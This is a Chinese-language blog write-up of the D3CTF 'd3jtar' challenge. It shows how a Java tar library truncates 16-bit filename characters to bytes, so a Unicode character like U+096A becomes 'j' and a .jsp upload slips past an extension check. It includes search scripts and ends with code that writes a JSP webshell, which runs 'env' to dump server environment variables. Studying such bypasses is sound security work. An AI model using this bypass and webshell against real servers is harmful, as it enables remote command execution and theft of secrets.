D3CTF-d3jtar
1diot9 Lv3

比赛的时候没做出来,现在来复现一下。

在TarHeader类中有两个方法,负责对文件名进行解析。

这个是压缩时的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
int i;

for (i = 0; i < length && i < name.length(); ++i) {
buf[offset + i] = (byte) name.charAt(i);
}

for (; i < length; ++i) {
buf[offset + i] = 0;
}

return offset + length;
}

这个是解压时的方法:

1
2
3
4
5
6
7
8
9
10
11
12
public static StringBuffer parseName(byte[] header, int offset, int length) {
StringBuffer result = new StringBuffer(length);

int end = offset + length;
for (int i = offset; i < end; ++i) {
if (header[i] == 0)
break;
result.append((char) header[i]);
}

return result;
}

这里重点关注一下压缩时的方法。可以看到,这里对文件名name,进行了 (byte) name.charAt(i) 操作。name.charAt()得到是char类型数据,占16位,默认实现UTF-16,是Unicode码点序列。而byte类型只占8位。这就导致name中的中文在转化成byte类型时,会丢失高位部分。因此,现在要做的就是找到一个Unicode字符,其丢失高位后与jsp中的任意一个字符相同。

这里以 j 为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package solution;

public class Test {
public static void main(String[] args) {
StringBuffer name = new StringBuffer();
name.append("你abc123");
char c = name.charAt(0);
System.out.println(c);
System.out.println((byte) c);
System.out.println((byte) 'j');
unicodeSearch();

}

public static void unicodeSearch(){
int count = 0;
for (int codePoint = Character.MIN_CODE_POINT; codePoint <= Character.MAX_CODE_POINT; codePoint++) {
if (!Character.isDigit(codePoint)) {
continue;
}
String s = new String(Character.toChars(codePoint));
char c = s.charAt(0);
if ((byte) c == 106){
System.out.println(String.format("%c: U+%04X%n", c, codePoint));
}
}
}
}

python脚本也行:

1
2
3
4
5
6
7
8
9

if __name__ == "__main__":
for i in range(0x0000, 0xFFFF+1):
hex_str = format(i, "04x")
last2 = hex_str[-2:]
char_old = chr(int(hex_str, 16))
char_new = chr(int(last2, 16))
if char_new == 'j':
print(f"{char_old}丢失高位后变成:{char_new}")

找到一些能用的字符

Ū(\u016a)丢失高位后变成:j

ɪ(\u026a)丢失高位后变成:j

ͪ(\u036a)丢失高位后变成:j

Ѫ(\u046a)丢失高位后变成:j

ժ(\u056a)丢失高位后变成:j

٪(\u066a)丢失高位后变成:j

ݪ(\u076a)丢失高位后变成:j

ࡪ(\u086a)丢失高位后变成:j

४(\u096a)丢失高位后变成:j

创建jsp马即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package solution;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;

public class WriteJsp {
public static void main(String[] args) throws IOException {
FileOutputStream fos = new FileOutputStream("shell.\u096Asp");
fos.write(("<%@ page import=\"java.io.InputStream\" %>\n" +
"<%@ page import=\"java.util.Scanner\" %><%\n" +
" Process env = Runtime.getRuntime().exec(\"env\");\n" +
" InputStream inputStream = env.getInputStream();\n" +
" Scanner scanner = new Scanner(inputStream).useDelimiter(\"\\\\A\");\n" +
" String s = scanner.hasNext() ? scanner.next() : \"\";\n" +
" out.print(s);\n" +
"%>").getBytes());
}
}
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量